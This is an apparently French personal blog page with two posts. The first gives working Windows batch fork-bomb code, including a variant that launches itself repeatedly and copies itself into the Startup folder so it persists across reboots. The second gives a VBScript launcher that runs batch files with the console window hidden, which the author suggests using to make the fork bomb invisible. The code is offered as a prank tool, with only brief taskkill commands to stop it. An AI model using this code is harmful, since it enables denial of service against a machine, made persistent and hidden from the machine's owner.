Flux RSS

jeudi 18 février 2010

Créer une forkbomb en commande dos (.bat)

Une forkbomb consiste à saturer les ressources d'un système en créant rapidement un grand nombre de processus.
En gros, c'est un truc de méchant pas bien, mais c'est toujours marrant de voir qu'on peut totalement perdre le contrôle d'un PC avec trois pauvres lignes de commande.

Dans un fichier .bat :
:a
start mspaint.exe
goto a
En gros, on créé un label, on démarre paint, on retourne au label, on démarre paint, etc...

Pour l'améliorer, on peut l'exécuter elle même, ce qui aura pour effet de démultiplier de façon exponentielle le nombre d'opérations :
:a
start ForkBomb.bat
start mspaint.exe
goto a

Mais le must reste quand même de rajouter la forkbomb au Démarrage de Windows :
:a
start ForkBomb.bat
start mspaint.exe
COPY ForkBomb.bat "%SYSTEMDRIVE%%HOMEPATH%\Menu Demarrer\Programmes\Demarrage\ForkBomb.bat"
goto a

Si vous êtes assez rapide, il y a un moyen de combattre la forkbomb :
taskkill /F /IM cmd.exe
taskkill /F /IM mspaint.exe

Vous pouvez utiliser mon article sur le BatchLauncher pour créer une forkbomb invisible, et celui sur l'autorun pour lancer la fork automatiquement.

Pour plus d'informations : http://fr.wikipedia.org/wiki/Fork_bomb

Lancer des .bat sans afficher la fenêtre de commande

Dans le cadre de mes péripéties de hacker du dimanche, j'avais besoin d'exécuter un fichier .bat (fichier de commandes msdos) sans que la fenêtre de commande s'affiche à l'écran.
Pour ce faire j'ai créé un script en VBScript (du VB orienté scripting en quelque sorte) qui me permet d'exécuter mes .bat de manière silencieuse.
Pour exécuter du VBScript, il faut que Windows Script Host soit installé sur la machine.


Voici le fameux fichier BatchLauncher.vbs :

' On créer les objets nécessaires
Set oArgs = WScript.Arguments
Set oFSO = CreateObject("Scripting.FileSystemObject")
Set oShell = CreateObject("WScript.Shell")

sFilePath = oArgs(0) ' On recupere le chemin du .bat passé en paramètre
iRC = oShell.Run("""" & sFilePath & """", 0, True) ' On éxecute le .bat (protégé par des guillemets), le 0 permet de masquer la fenêtre, et True permet d'attendre la fin de l'execution du bat avant de poursuivre

Wscript.Quit iRC
(La gestion d'erreurs à été volontairement retirée pour alléger le code)


Pour utiliser ce script il suffit de taper :
wscript.exe "CheminVersVotreVBS\BatchLauncher.vbs" "CheminVersVotreBAT\test.bat"
Et votre bat s'exécutera de manière invisible grâce au script vbs.